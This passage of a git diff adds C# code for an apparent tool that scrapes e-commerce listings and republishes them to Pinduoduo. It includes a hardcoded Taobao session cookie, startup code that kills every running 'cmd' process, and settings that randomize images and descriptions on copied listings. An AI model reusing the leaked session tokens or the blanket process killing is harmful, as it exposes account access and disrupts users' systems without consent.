uc1=cookie14=UoW%2BvfobS%2FYyFQ%3D%3D&lng=zh_CN&cookie16=UtASsssmPlP%2Ff1IHDsDaPRu%2BPw%3D%3D&existShop=true&cookie21=UIHiLt3xSixwH1aenGUFEQ%3D%3D&tag=8&cookie15=WqG3DMC9VAQiUQ%3D%3D&pas=0; sg=482; cookie1=AVZ7NzilkILAckSZh3aH1rY3cLn%2F1CTS%2FTys%2FR09hPk%3D; unb=802158228; _l_g_=Ug%3D%3D; _nk_=xiaotui930904; cookie17=W8nWsIU9pmPl; JSESSIONID=3667ED995D0FA3DF2C4B9D2848FBECFB; apushcff39d705ee654f2389a8c5fb80067dd=%7B%22ts%22%3A1495087171963%2C%22parentId%22%3A1495087120835%7D"); + //webRequest.Headers.Add("X-Requested-With", "ShockwaveFlash/23.9.9.999"); + //webRequest.Headers.Add("x-flash-version", "25,0,0,148"); + string head = webRequest.Headers.ToString(); + // 写入文件 + string filePartHeader = + "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"\r\n" + + "Content-Type: application/octet-stream\r\n\r\n"; + if (url.Contains("s.taobao.com/image")) + { + filePartHeader = + "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"\r\n" + + "Content-Type: image/jpeg\r\n\r\n"; + } + var header = string.Format(filePartHeader, fileKeyName, fileName); + var headerbytes = Encoding.UTF8.GetBytes(header); + + memStream.Write(beginBoundary, 0, beginBoundary.Length); + memStream.Write(headerbytes, 0, headerbytes.Length); + + //while ((bytesRead = fileStream.Read(buffer, 0, buffer.Length)) != 0) + //{ + // memStream.Write(buffer, 0, bytesRead); + //} + memStream.Write(file, 0, file.Length); + + // 写入字符串的Key + var stringKeyHeader = "\r\n--" + boundary + + "\r\nContent-Disposition: form-data; name=\"{0}\"" + + "\r\n\r\n{1}\r\n"; + + foreach (byte[] formitembytes in from string key in stringDict.Keys + select string.Format(stringKeyHeader, key, stringDict[key]) + into formitem + select Encoding.UTF8.GetBytes(formitem)) + { + memStream.Write(formitembytes, 0, formitembytes.Length); + } + + // 写入最后的结束边界符 + memStream.Write(endBoundary, 0, endBoundary.Length); + + webRequest.ContentLength = memStream.Length; + + var requestStream = webRequest.GetRequestStream(); + + memStream.Position = 0; + var tempBuffer = new byte[memStream.Length]; + memStream.Read(tempBuffer, 0, tempBuffer.Length); + memStream.Close(); + + requestStream.Write(tempBuffer, 0, tempBuffer.Length); + requestStream.Close(); + + var httpWebResponse = (HttpWebResponse)webRequest.GetResponse(); + + using (var httpStreamReader = new StreamReader(httpWebResponse.GetResponseStream(), + Encoding.GetEncoding("utf-8"))) + { + responseContent = httpStreamReader.ReadToEnd(); + } + + httpWebResponse.Close(); + webRequest.Abort(); + + return responseContent; + } + + public static string UploadBaidu(string url) + { + string userAgent = string.IsNullOrEmpty(BaseClass.ChromeUserAgent) ? BaseClass.UserAgent : BaseClass.ChromeUserAgent; + HttpWebResponse response = null; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.Method = "GET"; + request.KeepAlive = true; + request.Accept = "*/*"; + request.Headers.Add("is_xhr", @"1"); + request.Headers.Add("X-Requested-With", @"XMLHttpRequest"); + request.Headers.Add("is_referer", @"https://www.baidu.com/s?wd=%E6%9C%AC%E6%9C%BAip%E5%9C%B0%E5%9D%80%E6%9F%A5%E8%AF%A22"); + request.UserAgent = userAgent; + request.Headers.Add("is_pbs", @"%E6%9C%AC%E6%9C%BAip%E5%9C%B0%E5%9D%80%E6%9F%A5%E8%AF%A2"); + request.Referer = "https://www.baidu.com/s?wd=%E6%9C%AC%E6%9C%BAip%E5%9C%B0%E5%9D%80%E6%9F%A5%E8%AF%A2"; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else return ""; + } + catch (Exception) + { + if (response != null) response.Close(); + return ""; + } + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + return ""; + } + } +} diff --git a/Work/GoodDetail/GoodDetail.cs b/Work/GoodDetail/GoodDetail.cs new file mode 100644 index 0000000..851ad2c --- /dev/null +++ b/Work/GoodDetail/GoodDetail.cs @@ -0,0 +1,472 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work.GoodDetail +{ + public class Category_detail + { + /// + /// + /// + public int first_cid { get; set; } + /// + /// + /// + public int second_cid { get; set; } + /// + /// + /// + public int third_cid { get; set; } + /// + /// + /// + public int fourth_cid { get; set; } + /// + /// 女装 + /// + public string first_cname { get; set; } + /// + /// T恤 + /// + public string second_cname { get; set; } + /// + /// + /// + public string third_cname { get; set; } + /// + /// + /// + public string fourth_cname { get; set; } + } + + public class Spec_picsItem + { + /// + /// + /// + public long spec_detail_id { get; set; } + /// + /// + /// + public string pic { get; set; } + } + + public class Customs_report_info + { + /// + /// + /// + public string hs_code { get; set; } + /// + /// + /// + public int first_measure_qty { get; set; } + /// + /// + /// + public int second_measure_qty { get; set; } + /// + /// + /// + public string first_measure_unit { get; set; } + /// + /// + /// + public string second_measure_unit { get; set; } + /// + /// + /// + public string unit { get; set; } + /// + /// + /// + public string report_name { get; set; } + /// + /// + /// + public string report_brand_name { get; set; } + /// + /// + /// + public string usage { get; set; } + /// + /// + /// + public string g_model { get; set; } + /// + /// + /// + public string bar_code { get; set; } + } + + public class Spec_pricesItem + { + /// + /// + /// + public long sku_id { get; set; } + /// + /// + /// + public long out_sku_id { get; set; } + /// + /// + /// + public string outer_sku_id { get; set; } + /// + /// + /// + public List spec_detail_ids { get; set; } + /// + /// + /// + public int stock_num { get; set; } + /// + /// + /// + public int price { get; set; } + /// + /// + /// + public string code { get; set; } + /// + /// + /// + public int settlement_price { get; set; } + /// + /// + /// + public int step_stock_num { get; set; } + /// + /// + /// + public int prom_stock_num { get; set; } + /// + /// + /// + public int prom_step_stock_num { get; set; } + /// + /// + /// + public long spec_detail_id1 { get; set; } + /// + /// + /// + public long spec_detail_id2 { get; set; } + /// + /// + /// + public long spec_detail_id3 { get; set; } + /// + /// + /// + public int sku_type { get; set; } + /// + /// + /// + public string supplier_id { get; set; } + /// + /// + /// + public string promotion_stock_num { get; set; } + /// + /// + /// + public string promotion_step_stock_num { get; set; } + /// + /// + /// + public Customs_report_info customs_report_info { get; set; } + /// + /// + /// + public int lock_stock_num { get; set; } + /// + /// + /// + public int lock_step_stock_num { get; set; } + /// + /// + /// + public string stock_num_map { get; set; } + } + + public class ValuesItem + { + /// + /// + /// + public long id { get; set; } + /// + /// + /// + public long spec_id { get; set; } + /// + /// 黑色 + /// + public string name { get; set; } + /// + /// + /// + public long pid { get; set; } + /// + /// + /// + public int is_leaf { get; set; } + /// + /// + /// + public int status { get; set; } + } + + public class SpecsItem + { + /// + /// + /// + public long id { get; set; } + /// + /// + /// + public long spec_id { get; set; } + /// + /// 颜色分类 + /// + public string name { get; set; } + /// + /// + /// + public long pid { get; set; } + /// + /// + /// + public int is_leaf { get; set; } + /// + /// + /// + public List values { get; set; } + } + + public class Logistics_info + { + /// + /// + /// + public int customs_clear_type { get; set; } + /// + /// + /// + public int origin_region_id { get; set; } + /// + /// + /// + public int source_region_id { get; set; } + /// + /// + /// + public int brand_region_id { get; set; } + /// + /// + /// + public int tax_payer { get; set; } + /// + /// + /// + public int net_weight_qty { get; set; } + } + + public class Data + { + /// + /// + /// + public long product_id { get; set; } + /// + /// + /// + public string product_id_str { get; set; } + /// + /// + /// + public long out_product_id { get; set; } + /// + /// + /// + public string outer_product_id { get; set; } + /// + /// + /// + public int open_user_id { get; set; } + /// + /// jeep吉普运动凉鞋男夏季2021新款外穿休闲软底防汗男士沙滩凉拖鞋 + /// + public string name { get; set; } + /// + /// + /// + public string description { get; set; } + /// + /// + /// + public int market_price { get; set; } + /// + /// + /// + public int discount_price { get; set; } + /// + /// + /// + public int status { get; set; } + /// + /// + /// + public long spec_id { get; set; } + /// + /// + /// + public int check_status { get; set; } + /// + /// + /// + public string mobile { get; set; } + /// + /// + /// + public int first_cid { get; set; } + /// + /// + /// + public int second_cid { get; set; } + /// + /// + /// + public int third_cid { get; set; } + /// + /// + /// + public Category_detail category_detail { get; set; } + /// + /// + /// + public int pay_type { get; set; } + /// + /// + /// + public string recommend_remark { get; set; } + /// + /// {"category_detail":{"first_cid":20005,"second_cid":20171,"third_cid":0,"fourth_cid":0,"first_cname":"女装","second_cname":"T恤","third_cname":"","fourth_cname":"","is_leaf":true},"class_quality":"","is_publish":1,"quality_report":"","stone":{"remark":"您好kkkkkkkkkkkkk"}} + /// + public string extra { get; set; } + /// + /// + /// + public int is_create { get; set; } + /// + /// + /// + public string create_time { get; set; } + /// + /// + /// + public string update_time { get; set; } + /// + /// + /// + public List pic { get; set; } + /// + /// {"上市年份季节":"2021年夏季","品牌":"JEEP/吉普","图案":"纯色","成分含量":"30%(含)-50%(含)","货号":"J0215912311530","面料材质":"其他/others"} + /// + public string product_format { get; set; } + /// + /// + /// + public List spec_pics { get; set; } + /// + /// + /// + public List spec_prices { get; set; } + /// + /// + /// + public List specs { get; set; } + /// + /// + /// + public string img { get; set; } + /// + /// + /// + public int presell_type { get; set; } + /// + /// + /// + public int maximum_per_order { get; set; } + /// + /// + /// + public int limit_per_buyer { get; set; } + /// + /// + /// + public int minimum_per_order { get; set; } + /// + /// + /// + public List quality_list { get; set; } + /// + /// + /// + public Logistics_info logistics_info { get; set; } + /// + /// + /// + public string after_sale_service { get; set; } + /// + /// + /// + public int price_has_tax { get; set; } + /// + /// + /// + public int appoint_delivery_day { get; set; } + /// + /// + /// + public long spu_id { get; set; } + /// + /// + /// + public string is_sub_product { get; set; } + /// + /// + /// + public int draft_status { get; set; } + } + + public class GoodDetail + { + /// + /// + /// + public Data data { get; set; } + /// + /// + /// + public int code { get; set; } + /// + /// + /// + public string msg { get; set; } + /// + /// + /// + public string sub_code { get; set; } + /// + /// + /// + public string sub_msg { get; set; } + } +} diff --git a/Work/GoodInfo.cs b/Work/GoodInfo.cs new file mode 100644 index 0000000..8bbd920 --- /dev/null +++ b/Work/GoodInfo.cs @@ -0,0 +1,214 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work +{ + public class Edit_check + { + /// + /// Check_status + /// + public int check_status { get; set; } + /// + /// Is_appeal + /// + public int is_appeal { get; set; } + /// + /// Submit_uid + /// + public int submit_uid { get; set; } + /// + /// pdd58271983015 + /// + public string submit_uname { get; set; } + /// + /// Submit_time + /// + public int submit_time { get; set; } + /// + /// 广告中不得使用不存在的(虚假的)服务。不具备从事特定服务的资质、能力,禁止发布提供服务的广告。 + /// + public string reject_reason { get; set; } + /// + /// Goods_commit_id + /// + public int goods_commit_id { get; set; } + } + public class GoodInfo + { + /// + /// Quantity + /// + public int? quantity { get; set; } + /// + /// Score + /// + public decimal? score { get; set; } + /// + /// + /// + public string resource { get; set; } + /// + /// Priority + /// + public string priority { get; set; } + /// + /// Sku_group_price + /// + public List sku_group_price { get; set; } + /// + /// Sku_price + /// + public List sku_price { get; set; } + /// + /// Origin_sku_group_price + /// + public List origin_sku_group_price { get; set; } + /// + /// Promotion_goods + /// + public string promotion_goods { get; set; } + /// + /// Id + /// + public long id { get; set; } + /// + /// 小白鞋秋季女2018新款百搭韩版基础秋冬板鞋网红冬季女鞋加绒棉鞋 + /// + public string goods_name { get; set; } + /// + /// 1811284555645762 + /// + public string goods_sn { get; set; } + /// + /// Goods_type + /// + public int? goods_type { get; set; } + /// + /// Cat_id + /// + public int cat_id { get; set; } + /// + /// 低帮鞋 + /// + public string cat_name { get; set; } + /// + /// Event_type + /// + public int? event_type { get; set; } + /// + /// -1 + /// + public string display_priority { get; set; } + /// + /// http://t00img.yangkeduo.com/goods/images/2018-11-28/afb301861a3c6fac8e6f8b962dd8b695.jpeg + /// + public string hd_thumb_url { get; set; } + /// + /// http://t00img.yangkeduo.com/openapi/images/2018-11-28/829e042c9076cd4bd8241e957a754374.jpeg + /// + public string image_url { get; set; } + /// + /// http://t00img.yangkeduo.com/goods/images/2018-11-28/a4c91cabb0d63d44b4359700fc834270.jpeg + /// + public string thumb_url { get; set; } + /// + /// Is_onsale + /// + public bool is_onsale { get; set; } + /// + /// Sold_quantity + /// + public int sold_quantity { get; set; } + /// + /// Off_sale_check + /// + public string off_sale_check { get; set; } + /// + /// Edit_check + /// + //public string edit_check { get; set; } + public Edit_check edit_check { get; set; } + /// + /// Gray_goods_high_quality_refund + /// + public bool gray_goods_high_quality_refund { get; set; } + /// + /// Share_desc + /// + public string share_desc { get; set; } + /// + /// Goods_desc + /// + public string goods_desc { get; set; } + /// + /// Activity_title + /// + public string activity_title { get; set; } + /// + /// Is_card_secret + /// + public bool is_card_secret { get; set; } + /// + /// Market_price + /// + public int? market_price { get; set; } + /// + /// + /// + public string out_goods_sn { get; set; } + /// + /// Sold_quantity_for_thirty_days + /// + public int? sold_quantity_for_thirty_days { get; set; } + /// + /// Fav_cnt + /// + public string fav_cnt { get; set; } + /// + /// Reject_status + /// + public string reject_status { get; set; } + + public string multi_treasure { get; set; } + /// + /// + /// + public string reject_reason { get; set; } + } + + public class Result + { + /// + /// Total + /// + public int? total { get; set; } + /// + /// Goods_list + /// + public List goods_list { get; set; } + } + + public class GoodReturnResult + { + /// + /// Success + /// + public bool success { get; set; } + /// + /// ErrorCode + /// + public int? errorCode { get; set; } + /// + /// ErrorMsg + /// + public string errorMsg { get; set; } + /// + /// Result + /// + public Result result { get; set; } + } +} diff --git a/Work/IdFessionTaobao.cs b/Work/IdFessionTaobao.cs new file mode 100644 index 0000000..f8a97e0 --- /dev/null +++ b/Work/IdFessionTaobao.cs @@ -0,0 +1,107 @@ +/** + * 精准裂变 + * 肖俊 + * 2018-3-13 + */ +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Windows.Forms; +using AllBase; +using Work.Api; +using Work.CollectClass; +using System; +using System.Collections.Concurrent; + +namespace Work +{ + public class IdFessionTaobao + { + public static List UploadList = new List(); + public static List ProductTemp = new List(); + public static List ProductAllTemp = new List(); + public string Name, FileName = "temp/taobao.tjm"; + public static bool Running = false, GroupUp = false, NeedSave = false; + public static int ThreadCount = 2, ShopCut = 0, SingleShopIdCount = 1; + public static Dictionary ShopAndProductId = new Dictionary(); + public static ConcurrentQueue ConcurrentQueueHtmlSaveServer = new ConcurrentQueue(); + public static ConcurrentQueue ConcurrentQueueHtmlCollectioneServer = new ConcurrentQueue(); + public IdFessionTaobao(string name) + { + Name = name; + } + + /// + /// 存储到服务器 + /// + public static void SaveHtmlToSereve() + { + try + { + while (true) + { + int AgainCount = 0; + if (ConcurrentQueueHtmlSaveServer.Count > 0) + { + SaveServerParm ssp = null; + if (!ConcurrentQueueHtmlSaveServer.TryDequeue(out ssp)) + { + continue; + } + Again: + bool bo = ServerTemp.Set(ssp.SaveType, ssp.ProuctId, ssp.SaveHtml); + if (bo == false) + { + AgainCount++; + if (AgainCount >= 3)//重试第三次直接跳出 + { + continue; + } + Thread.Sleep(new Random().Next(5000, 10000)); + goto Again; + } + AgainCount = 0; + } + Thread.Sleep(50); + } + + } + catch (Exception ex) + { + LogSave.Add("SaveHtmlToSereve " + ex.ToString()); + } + } + + } + + + + public class ProductUploadBase + { + public long id = 0; + public string url = ""; + //1:淘宝 2:拼多多 3:阿里巴巴 + public int site_id = 0; + public int count = 0; + public int deleteMainImg = 0; + public string main_keyword = ""; + public string name = ""; + public string image = ""; + public string desc_keyword = ""; + public string shop_name = ""; + } + public class SaveServerParm + { + /// + /// 2 拼多多或淘宝 3 阿里巴巴 + /// + public int SaveType { get; set; } + //Id + public string ProuctId { get; set; } + /// + /// html + /// + public string SaveHtml { get; set; } + } +} diff --git a/Work/Initialization.cs b/Work/Initialization.cs new file mode 100644 index 0000000..0ba6a80 --- /dev/null +++ b/Work/Initialization.cs @@ -0,0 +1,949 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.IO; +using System.Management; +using System.Text; +using System.Threading; +using System.Windows.Forms; +using System.Xml; +using AllBase; +using Work.Api; +using Work.CollectClass; +using Work.ManageClass; +using System.Text.RegularExpressions; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Net; +using System.Collections; +using System.Linq; +using System.Threading.Tasks; + +namespace Work +{ + public class Initialization + { + public static int InitPercent = 0; + public static bool IsCheckFilesFinish = false; + public static bool IsCheckFilesSuccesss = true; + public static string ConfigFilePach = Application.StartupPath + "\\Config.xml"; + + public static void InitProgress(int i) + { + InitPercent += i; + if (InitPercent > 100) + InitPercent = 100; + } + + public string KeyWord = + "67,41,102,107,122,85,3,61,66,76,56,97,9,123,117,43,55,87,22,9,11,79,2,40,55,13,44,28,123,105,85,50,117,110,120,7,104,17,13,62,41,113,88,118,7,51,85,102,3,31,41,4,88,86,105,115,93,73,125,111,46,47,99,119,66,94,90,66,43,112,111,10,12,46,30,119,60,116,7,15,78,115,1,50,27,29,20,64,26,121,116,57,28,71,53,49,54,109,103,122,77,123,105,75,122,125,11,98,85,2,117,64,55,33,28,107,120,50,113,112,21,19,92,57,23,14,88,50,14,105,83,89,69,83,116,120,87,5,100,94,111,126,7,59,81,28,44,84,13,46,51,13,59,75,111,7,75,14,123,119,14,29,70,105,102,115,124,115,86,42,78,123,125,29,82,8,14,47,1,126,9,47,26,73,96,13,112,8,71,91,68,95,90,20,24,28,54,70,75,39,51,103,42,39,120,120,126,25,96,34,125,32,50,32,44,63,56,75,34,89,64,75,110,62,123,117,1,114,84,75,34,2,105,58,61,55,52,20,122,16,40,78,21,126,124,29,38,55,2,124,60,123,34,111,28,41,36,76,119,59,101,15,82,7,84,29,113,99,8,51,71,23,19,91,30,2,116,38,36,3,29,54,20,9,65,16,123,47,64,23,1,109,62,119,108,45,14,91,117,10,79,76,15,43,67,26,45,28,65,94,51,37,91,110,107,110,109,65,61,82,12,116,27,25,26,71,122,87,100,100,86,107,8,38,5,20,68,2,44,91,2,87,36,69,73,35,107,13,120,120,27,104,87,97,74,40,49,65,126,19,65,118,100,49,13,6,77,21,91,13,68,37,43,50,41,97,62,118,49,41,65,28,27,30,13,93,16,106,23,77,29,19,28,18,110,45,114,27,63,74,30,90,126,93,126,91,26,113,59,125,85,45,94,74,45,42,19,105,100,40,6,5,10,107,105,55,9,64,89,121,7,47,25,27,60,17,41,59,26,49,85,72,102,115,114,5,78,49,48,0,111,54,103,42,22,117,66,114,119,6,5,77,65,66,52,27,94,24,104,24,43,101,120,60,71,68,38,113,23,39,62,76,22,69,15,46,36,123,81,36,68,22,75,32,77,58,112,125,41,48,124,70,50,80,100,31,55,124,79,92,27,104,106,55,65,14,70,92,17,105,48,57,24,116,9,65,51,76,19,55,32,88,98,35,72,25,117,46,109,78,29,109,93,76,81,3,101,58,118,9,83,98,81,13,42,30,94,51,108,119,45,5,119,84,10,62,42,32,69,64,49,35,96,41,32,94,28,104,98,99,113,58,45,117,82,44,42,62,76,45,32,68,104,15,37,31,34,43,122,23,76,15,44,7,114,92,77,55,29,65,50,125,119,102,4,115,89,122,51,71,54,34,111,116,48,87,29,53,14,121,100,21,65,21,114,96,35,68,4,123,43,21,103,41,6,107,123,69,11,45,53,100,58,121,12,84,98,21,6,47,67,13,90,76,4,20,87,12,113,16,1,34,19,82,28,104,39,11,40,125,78,42,4,124,68,34,88,113,111,85,125,21,82,109,74,60,65,40,59,34,57,106,9,84,49,53,121,109,83,63,57,70,88,62,118,111,18,25,83,21,118,2,64,116,79,93,80,33,3,31,44,30,96,33,111,38,33,92,36,69,106,56,72,93,94,20,17,15,13,108,29,20,27,57,7,43,76,115,55,109,42,41,34,2,31,49,25,92,52,68,25,19,121,35,51,8,35,19,90,57,119,83,12,77,110,102,9,1,42,80,83,55,108,16,45,111,19,47,76,63,11,50,42,59,89,88,20,122,125,12,5,68,36,53,90,120,43,90,93,50,20,6,90,82,52,100,124,49,65,39,86,40,31,20,77,75,97,49,35,101,69,15,74,40,78,20,107,54,63,6,103,6,38,94,119,60,34,53,117,90,68,2,108,36,113,53,124,64,48,72,105,1,68,45,13,57,6,20,67,80,110,79,109,68,101,62,82,61,80,117,73,59,82,45,41,110,78,68,89,18,115,4,66,17,24,112,41,29,0,16,94,36,78,4,122,17,86,49,98,85,118,115,14,92,12,126,90,74,105,26,46,21,6,19,84,39,95,21,36,10,45,36,98,93,117,104,97,10,84,55,15,28,121,114,22,78,112,55,6,34,45,58,37,55,24,112,71,96,121,106,122,64,0,78,67,30,29,101,24,113,16,85,34,4,63,57,115,57,100,66,13,49,68,21,45,49,22,60,53,21,48,29,108,43,103,8,106,104,70,20,71,32,58,52,25,2,91,53,60,12,68,120,39,34"; + /// + /// 初始化 + /// + public void Get() + { + UpdateTime(); + InitProgress(1); + + string code = ""; + //EncryptionCode.Test();; + new JumpUpProductNew(null).Ini(); + InitProgress(1); + + string file = "temp/product.ini"; + string[] l = FileBase.ReadAllLines(file); + for (int i = 0; l != null && i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i])) + continue; + BaseClass.ProductIds.Add(l[i]); + } + foreach (Process thisproc in Process.GetProcesses()) + { + if (thisproc.ProcessName.ToLower() == "cmd") + thisproc.Kill(); + } + InitProgress(1); + + FileBase.DirectoryCreate(Application.StartupPath + "\\temp\\upsame\\"); + FileBase.DirectoryCreate(Application.StartupPath + "\\taobao\\"); + FileBase.DirectoryCreate(Application.StartupPath + "\\taobao\\keywords\\"); + FileBase.DirectoryCreate(Application.StartupPath + "\\taobao\\out\\"); + if (!FileBase.Exists(ConfigFilePach)) + WriteFile(); + string checkvalue = @"OrderStep,5;RankPage,3;ImageSheild,true;NoKeyword,; + noSoldPara,true;visitPara,true;visitCountPara,1;offTimePara,23:00;onTimePara,05:00; + taoBaoPara,false;alibabaPara,false;pinduoduoPara,false;dataCenterPara,false;autoAddPara,false; + maxPagePara,5;singleKeywordPara,1000;priceStartPara,1;priceEndPara,1000;soldStartPara,1;soldEndPara,100000; +mainImagePara,0;fessionCountPara,1;outKeywordrichPara,批发\定制\代购\外贸\跨境\防狼\辣椒水\迷情\刀\枪\听话\催泪\瓦斯\旗舰店\企业店\外购;addKeywordrichPara,; +multiPara,1.08;postagePara,10;singlePricePara,1;beforPricePara,2.0;stockPara,999;groupCountPara,2;randPara,false;randPrice1Para,0;randPrice2Para,2; +imageBuildPara,true;randDeletePara,true;priceShieldPara,true;IrregularitiesPara,true;randSkuPara,false;randImagePara,true;randDescPara,false;onlyFreePara,false; +propToMainPara,false;deleteMainImagePara,false;mainImageCountPara,0;deleteFirstPara,false;saveAllImagePara,false;descImgCountPara,10;prefixPara,false; +prefixTextPara,;shopthreadCountPara,3;singeThreadCountPara,1;singleUploadPara,500;catHardPara,false;relationPara,false;visitSpacePara,7;saveCollectPara,true; +offCountPara,false;offProductPara,100;IrregularitiesPara,true;noNeerPara,true;noNeerDaysPara,3;limitReplacePara,true;replaceCountPara,3;errorDownPara,false;apiPara,false"; + CheckXmlValue(checkvalue, ConfigFilePach); + + Task.Run(() => { Update(); InitProgress(1); }); + Task.Run(() => { GetAuthConfig(); InitProgress(1); }); + Task.Run(() => { CheckFiles(); IsCheckFilesFinish = true; InitProgress(1); }); + //Task.Run(() => { CheckUpdataFile(); }); + Task.Run(() => { new Segment().GetWord(); InitProgress(1); }); + Task.Run(() => { new PinduoduoCatList().Get(); InitProgress(1); }); + Task.Run(() => { GetMacCode(); InitProgress(1); }); +#if DEBUG +#else + Task.Run(() => { new CheckHecker().Check(); InitProgress(1); }); // 防止破解 +#endif + Task.Run(() => { PinduoduoProductCollect.GetServerCookies(); InitProgress(1); }); + Task.Run(() => { new LoadCloudData().Get(); InitProgress(1); }); // 加载云数据 + Task.Run(() => { new BigDataBuild("").Ini(); InitProgress(1); }); // 加载云数据 + new FromTitleToCat(); + InitProgress(1); + + if (!File.Exists(ConfigFilePach)) + { + WriteFile(); + InitProgress(1); + } + try + { + XmlDocument xmlDoc = new XmlDocument(); + xmlDoc.Load(ConfigFilePach); + XmlNode xn = xmlDoc.SelectSingleNode("ConfigSet"); + BaseClass.UserName = xn["UserName"].InnerText; + BaseClass.PassWord = xn["PassWord"].InnerText; + BaseClass.RankPage = int.Parse(xn["RankPage"].InnerText); + BaseClass.ThreadCount = int.Parse(xn["ThreadCount"].InnerText); + BaseClass.WaitTime = int.Parse(xn["WaitTime"].InnerText); + BaseClass.OrderStep = int.Parse(xn["OrderStep"].InnerText); + BaseClass.HadNoteId = xn["HadNoteId"].InnerText; + BaseClass.Remember = bool.Parse(xn["RememberPass"].InnerText); + BaseClass.AutoLogin = bool.Parse(xn["AutoLogin"].InnerText); + BaseClass.MinPrice = decimal.Parse(xn["MinPrice"].InnerText); + BaseClass.MaxPrice = decimal.Parse(xn["MaxPrice"].InnerText); + BaseClass.MinBackMoney = decimal.Parse(xn["MinBackMoney"].InnerText); + BaseClass.MinSales = int.Parse(xn["MinSales"].InnerText); + BaseClass.MinPercent = int.Parse(xn["MinPercent"].InnerText); + BaseClass.MinLevel = int.Parse(xn["MinLevel"].InnerText); + BaseClass.AlimamaPageCount = int.Parse(xn["AlimamaPageCount"].InnerText); + BaseClass.ImageSheild = bool.Parse(xn["ImageSheild"].InnerText); + BaseClass.CloudTitle = bool.Parse(xn["CloudTitle"].InnerText); + BaseClass.CloudBrand = bool.Parse(xn["CloudBrand"].InnerText); + BaseClass.CloudSellerNick = bool.Parse(xn["CloudSellerNick"].InnerText); + BaseClass.CloudProduct = bool.Parse(xn["CloudProduct"].InnerText); + BaseClass.NoKeyword = xn["NoKeyword"].InnerText; + //自动上下架 + UploadPinduoduoMain.NoSold = bool.Parse(xn["noSoldPara"].InnerText); + UploadPinduoduoMain.NoVisit = bool.Parse(xn["visitPara"].InnerText); + UploadPinduoduoMain.VisitCount = int.Parse(xn["visitCountPara"].InnerText); + UploadPinduoduoMain.offTime = xn["offTimePara"].InnerText; + UploadPinduoduoMain.onTime = xn["onTimePara"].InnerText; + //采集 + CollectKeywordByTaobao.TaobaoCollect = bool.Parse(xn["taoBaoPara"].InnerText); + CollectKeywordByTaobao.Alibaba = bool.Parse(xn["alibabaPara"].InnerText); + CollectKeywordByTaobao.PinduoduoCollect = bool.Parse(xn["pinduoduoPara"].InnerText); + CollectKeywordByTaobao.DataCenter = bool.Parse(xn["dataCenterPara"].InnerText); + CollectKeywordByTaobao.AutoAdd = bool.Parse(xn["autoAddPara"].InnerText); + CollectKeywordByTaobao.PageTop = int.Parse(xn["maxPagePara"].InnerText); + CollectKeywordByTaobao.MaxSingleKeywordProduct = int.Parse(xn["singleKeywordPara"].InnerText); + CollectKeywordByTaobao.MinPrice = int.Parse(xn["priceStartPara"].InnerText); + CollectKeywordByTaobao.MaxPrice = int.Parse(xn["priceEndPara"].InnerText); + CollectKeywordByTaobao.MinSale = int.Parse(xn["soldStartPara"].InnerText); + CollectKeywordByTaobao.MaxSale = int.Parse(xn["soldEndPara"].InnerText); + CollectKeywordByTaobao.MainImageCut = int.Parse(xn["mainImagePara"].InnerText); + CollectKeywordByTaobao.FessionCount = int.Parse(xn["fessionCountPara"].InnerText); + CollectKeywordByTaobao.outKeywordrich = xn["outKeywordrichPara"].InnerText; + CollectKeywordByTaobao.addKeywordrich = xn["addKeywordrichPara"].InnerText; + //上传 + UploadPinduoduoMain.MultiPrice = decimal.Parse(xn["multiPara"].InnerText); + UploadPinduoduoMain.MultiSavePrice = decimal.Parse(xn["multiPara"].InnerText); + UploadPinduoduoMain.Postage = decimal.Parse(xn["postagePara"].InnerText); + UploadPinduoduoMain.SinglePrice = decimal.Parse(xn["singlePricePara"].InnerText); + UploadPinduoduoMain.BeforePrice = decimal.Parse(xn["beforPricePara"].InnerText); + UploadPinduoduoMain.LimitBuy = int.Parse(xn["stockPara"].InnerText); + if (UploadPinduoduoMain.LimitBuy > 99) + UploadPinduoduoMain.LimitBuy = 99; + UploadPinduoduoMain.GroupCount = int.Parse(xn["groupCountPara"].InnerText); + UploadPinduoduoMain.RandPrice = bool.Parse(xn["randPara"].InnerText); + UploadPinduoduoMain.RandPrice1 = int.Parse(xn["randPrice1Para"].InnerText); + UploadPinduoduoMain.RandPrice2 = int.Parse(xn["randPrice2Para"].InnerText); + UploadPinduoduoMain.ImageBuild = bool.Parse(xn["imageBuildPara"].InnerText); + UploadPinduoduoMain.RandDeleteImage = bool.Parse(xn["randDeletePara"].InnerText); + UploadPinduoduoMain.PriceShield = bool.Parse(xn["priceShieldPara"].InnerText); + UploadPinduoduoMain.Irregularities = bool.Parse(xn["IrregularitiesPara"].InnerText); + UploadPinduoduoMain.RandSku = bool.Parse(xn["randSkuPara"].InnerText); + UploadPinduoduoMain.RandMainImage = bool.Parse(xn["randImagePara"].InnerText); + UploadPinduoduoMain.RandDesc = bool.Parse(xn["randDescPara"].InnerText); + UploadPinduoduoMain.JustFree = bool.Parse(xn["onlyFreePara"].InnerText); + UploadPinduoduoMain.PropImageToMain = bool.Parse(xn["propToMainPara"].InnerText); + UploadPinduoduoMain.DeleteMainImage = bool.Parse(xn["deleteMainImagePara"].InnerText); + UploadPinduoduoMain.DeleteMainImageCut = 